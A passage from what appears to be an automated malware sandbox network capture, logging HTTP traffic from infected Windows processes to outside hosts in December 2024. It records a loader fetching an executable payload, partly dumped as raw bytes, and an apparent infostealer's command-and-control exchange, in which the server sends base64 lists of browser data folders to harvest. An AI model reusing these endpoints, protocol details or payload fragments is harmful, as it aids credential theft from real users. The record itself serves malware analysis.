                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.756494999 CET1236INData Raw: 59 32 f9 4d 11 6f 93 76 b4 5c 30 aa 4f bb 86 62 07 b1 43 f0 44 e0 c4 97 3a c7 5d a3 b3 e6 03 89 58 e9 13 ba 1d 54 90 8f 53 d8 0c 45 1c 02 93 f3 d4 34 f7 c7 8b ca 4a 49 d1 92 96 4e ea e1 bd 75 88 1e d7 f1 49 78 ea 53 7c 31 8c 56 60 df 2e 89 3a cd
                                                                                                                                                                                                                                                            Data Ascii: Y2Mov\0ObCD:]XTSE4JINuIxS|1V`.:.&`BFD;j )W&)in*qp"tq=X\)?Wk8w67vQ1v#3VT.r9?yE*7UFZA{
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.756508112 CET1236INData Raw: ca e5 1d df 3d 01 da 9f 1b fe ab 16 a9 44 45 e8 c5 4e 06 50 06 59 3f 15 f5 c7 bb a5 75 5e 9b 32 42 8c 97 ab a8 b2 31 03 f9 78 63 30 2d 54 86 da 64 91 4f 36 9d 59 87 5a 09 58 e3 6f a9 3f 90 e2 db 8e c4 c6 70 9d d4 e0 a8 de 1f 7c c3 cd d8 a8 d7 db
                                                                                                                                                                                                                                                            Data Ascii: =DENPY?u^2B1xc0-TdO6YZXo?p|c*|(F?sBTlQsV*Eg,J En*zf4t] 3+Yj@gi9\EVDBJjH'&W;;+@|Czl]abQ">:2
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.756520987 CET1236INData Raw: d0 a0 c1 99 4e 93 b0 1e 85 c3 a9 ef 1f 8b a6 ae 4c 17 b3 14 61 57 ac 98 21 22 f2 9d c1 eb c6 25 da 0f f0 67 0d d8 ef eb b1 97 f6 bf ff a1 12 c8 c8 d2 ae 94 c1 ee 7a 7c f9 79 56 2d b7 c0 a5 32 a5 32 78 b0 c2 3c 7e 7d 4b 5f fe a8 d5 95 80 a5 75 a2
                                                                                                                                                                                                                                                            Data Ascii: NLaW!"%gz|yV-22x<~}K_u|Coz*O{ \NAG~?H[4>K0*1d\8V0w(M{Nez{C:nN-}2eJ?lo4j_c@V2QWv
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.757164955 CET1236INData Raw: dc e7 b0 8a b9 15 af 68 97 35 33 a3 bc 29 38 51 6c da 86 c5 a2 4c ca 15 b1 86 89 7e 14 84 74 11 18 fe 64 9e 96 d7 45 95 49 71 33 61 31 c0 74 ea 42 d5 56 b0 59 34 68 81 68 9a f4 0f d8 73 d8 35 d7 48 ad e1 6c 9c 8d 40 d8 52 8d d8 9e c0 76 c2 3c 22
                                                                                                                                                                                                                                                            Data Ascii: h53)8QlL~tdEIq3a1tBVY4hhs5Hl@Rv<"],7@ux(v00BTmvTFR|,dV%Y80Hq7_tLU)>*pd-a3sK&"9:)OBNIeZY
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.757177114 CET1236INData Raw: 8a 07 df fb 6d 7b 72 c7 80 3d b9 3f 83 2d cd 64 15 a4 9e 13 5d 8a 31 c6 c7 d5 96 64 7e 8e c2 74 b0 f0 48 87 c1 4e a5 4b b9 35 f2 39 3e 97 2c 76 21 5e 85 be bc 78 a5 e9 cf ac 0a 98 17 27 76 b1 05 8a f5 31 51 dd 1f 8f 4d 50 ce bb db 62 7c a1 e6 d4
                                                                                                                                                                                                                                                            Data Ascii: m{r=?-d]1d~tHNK59>,v!^x'v1QMPb|l=7HscI#U 6]g@3!(4:X3WeTbLVa~b5U/@"8gWr,8>Icel(8L@0ol[v,+IbV,
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.875412941 CET1236INData Raw: 9d ce e0 d3 63 73 95 cd 9f b2 f3 fc 28 16 5f bb a6 67 7a b7 5b 56 2e ad 25 c2 ce 42 78 ae 85 cd 1d 45 4b 05 48 3d 4e 75 02 69 37 49 fc 70 e2 4d f0 6a 2d 30 a3 cd 6c 40 0b 38 da 37 1c 99 5a 64 44 9c 24 02 0b 60 8f f5 28 1b a3 91 15 0a ba a2 5e 98
                                                                                                                                                                                                                                                            Data Ascii: cs(_gz[V.%BxEKH=Nui7IpMj-0l@87ZdD$`(^f=kLpPt,~hF}Pg%O>O@n4PzY`s$407W, LV"[a~vEik%5TDp'Cun>b(zE


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            11192.168.2.549917185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.114407063 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017194001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:52.442655087 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:52 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            12192.168.2.549922185.215.113.16806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:52.570120096 CET56OUTGET /steam/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.894834042 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:53 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 2909696
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:58:29 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "676361a5-2c6600"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 a0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 4f 00 00 04 00 00 8f fc 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@yqsxqdye*$*|@vpqvprngO@,@.taggant0O"D,@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.895215988 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.895231962 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.895246983 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.895993948 CET1236INData Raw: c5 16 fc f4 7b ce 97 11 bb d3 50 e8 b5 8b 33 31 06 af 7f 0b 7a 83 26 7b d2 8b f7 db e7 0f cf 07 ea 4d c7 6e fa 45 df 36 a1 e1 2a b5 98 75 3d 67 82 6b 2f 6b 8e fb 3f 27 b6 8b 0b 40 1d a4 07 50 c7 97 13 43 cf 09 cf 68 c5 b3 3b c3 df ab 7f 68 f8 74
                                                                                                                                                                                                                                                            Data Ascii: {P31z&{MnE6*u=gk/k?'@PCh;htb2YMXx_{:ih&"8$37J~^%2z+}z'CcF~Ly}lertK.6$wgm{s{x}`df%e!&K0
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.896023035 CET1236INData Raw: e8 63 3d af e4 7b cb 11 c7 94 fa c5 53 c0 54 f9 88 a3 b3 a1 f5 6b 62 78 3d 6a 12 9f f4 9b 8e 59 4e ed 78 aa ff ea 5e 38 99 e6 17 e9 23 e2 7f 37 d1 26 78 86 1c c2 92 38 fd 2e 65 71 95 95 2d fe 3f dc 3c 8b 7f fa 78 da 97 04 3d e6 b7 eb 7f f4 74 8a
                                                                                                                                                                                                                                                            Data Ascii: c={STkbx=jYNx^8#7&x8.eq-?<x=t4`u}pskzZ:rXG?/fZO2$J.xK-@+!g<S=&{&'H<^!'8<CgSr{Tz!$/G=*fl2B1
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.896039009 CET776INData Raw: c4 de c7 f4 e9 03 10 83 7f 9d 65 60 f7 ac b0 76 e8 2f 60 eb c4 fc 4f 6d b4 cd 8f 61 3a 8b 13 93 af 6d 14 95 3c d3 a7 6a 22 0f 11 6b 72 c8 bb 29 f0 71 e5 69 fe a3 e3 04 97 9f 82 6d 24 4f 6f 13 bc ab 6d 67 42 fc 1f ec e9 55 2f 0b e8 93 27 f7 d3 14
                                                                                                                                                                                                                                                            Data Ascii: e`v/`Oma:m<j"kr)qim$OomgBU/'?{ V{6g#s*xZ7x<~14iMkm|K{$7ZaR`Yg{171Ak/hgdj+d~;3b{a
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.896527052 CET1236INData Raw: d2 e0 fe e0 7d 33 ff b0 c5 d7 e4 14 f5 ed a7 61 22 94 45 60 03 9a 9a c1 3b ad 4f 60 a2 16 f8 5b c5 99 17 30 8c aa 94 1d d2 ed 31 9b e4 5c 13 01 ea d3 6d 10 a6 8b 97 f8 77 46 e8 80 97 cd 6d cf f4 a3 31 2b 5b ab fe 31 f5 eb ff 36 ef 27 62 ac ff c8
                                                                                                                                                                                                                                                            Data Ascii: }3a"E`;O`[01\mwFm1+[16'b>jG+>xj{Q@Kab19v.`-zK&sNhcW<7`Cyex6m?4:S0j6;B#gw():pmo`3&!x
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.896552086 CET1236INData Raw: c7 cf db 16 3a bc 3f 7b b6 0f 11 1b 73 c8 85 79 79 cd 85 28 7a a4 d7 16 96 0f 2a e4 e5 ff 31 c9 fb 99 57 16 02 9c f6 79 76 e4 0d ec a5 cd 43 11 9f 93 7c 33 e8 f3 f3 20 12 fc 22 f7 64 5a cf 36 e8 0f 67 57 7f 14 34 7b e6 13 8b f0 f4 3b fb f7 2a 3f
                                                                                                                                                                                                                                                            Data Ascii: :?{syy(z*1WyvC|3 "dZ6gW4{;*?xdeg&pee#&O4HCQxaZmY|yNg}}Rgk~W<?4Xx<.L7<axgv`s1Kseh1r8[om
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:53.896568060 CET1236INData Raw: bb 57 af 91 e9 6f 7f 7b 7a cd c1 78 e0 eb 47 36 f6 cf 1c 7f fe cd 2b 34 e8 a5 b3 17 44 73 71 65 7a 15 13 35 da 4d be d0 7b 99 c3 16 3e 93 07 74 4f bb 3c fb ff a4 e3 22 ea c8 1a 6a 32 9f 97 6a e7 3f 7f 63 70 13 70 e7 68 ab bf 6a c4 53 1f f3 b8 b5
                                                                                                                                                                                                                                                            Data Ascii: Wo{zxG6+4Dsqez5M{>tO<"j2j?cpphjSZtkXmg:(Amzz<#+`&wg]o_`|.Oa?e1?6'`5y1])={Gd1`#14}J38c
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:54.014503002 CET1236INData Raw: e9 31 4b cf 44 15 9a 2b 08 83 d5 f9 e5 5b 50 e3 78 9c df 24 b6 35 c3 2f 04 0d 72 cc 37 58 9c 6c 79 ed ce 6d f1 33 0e 14 ae f6 23 b5 10 e2 d9 e2 a8 ac 5f 8f 8e eb 3d e6 cc 9c 25 d2 4a fe 81 14 7a f6 2f 1c c1 5b 1e 6d 66 f4 4f f5 12 96 0a 3c f7 dc
                                                                                                                                                                                                                                                            Data Ascii: 1KD+[Px$5/r7Xlym3#_=%Jz/[mfO<.A1 emhB"$Bo`CdTh&1U-6,,kvyd51!~eceD9/.io3'@[,/o,o6_dH>E+eqy[6Gxw


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            13192.168.2.549945185.215.113.206805832C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:00.836155891 CET90OUTGET / HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:02.159693003 CET203INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:01 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:02.224234104 CET412OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 210
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 36 42 31 43 36 32 32 38 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="hwid"DB6B1C6228E5845770397------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="build"stok------AFCAAEGDBKJJKECBKFHC--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:02.674385071 CET407INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:02 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                                                                                                            Content-Length: 180
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=99
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Data Raw: 5a 47 59 77 4f 57 55 30 5a 54 6b 78 4d 47 45 33 4d 7a 56 6b 5a 54 41 33 4d 44 63 7a 4d 6a 56 6b 4e 32 51 34 4f 44 63 33 4f 54 67 77 4e 32 55 35 59 54 67 34 4e 7a 68 6a 5a 6a 55 77 4e 7a 68 68 4d 7a 49 34 4e 44 4d 7a 4e 6a 46 6c 5a 57 49 7a 4d 32 4d 32 4e 44 5a 6b 4f 54 4d 30 59 57 4d 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d
                                                                                                                                                                                                                                                            Data Ascii: ZGYwOWU0ZTkxMGE3MzVkZTA3MDczMjVkN2Q4ODc3OTgwN2U5YTg4NzhjZjUwNzhhMzI4NDMzNjFlZWIzM2M2NDZkOTM0YWM2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:02.675753117 CET470OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 268
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="message"browsers------BFIDGDAKFHIEHJKFHDHD--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.111469030 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:02 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                                                                                                            Content-Length: 2028
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=98
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.111505985 CET124INData Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45
                                                                                                                                                                                                                                                            Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.303018093 CET896INData Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46
                                                                                                                                                                                                                                                            Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.305480957 CET469OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 267
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="message"plugins------FIIIIJKFCAAECAKFIEHC--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.741411924 CET1236INHTTP/1.1 200 OK
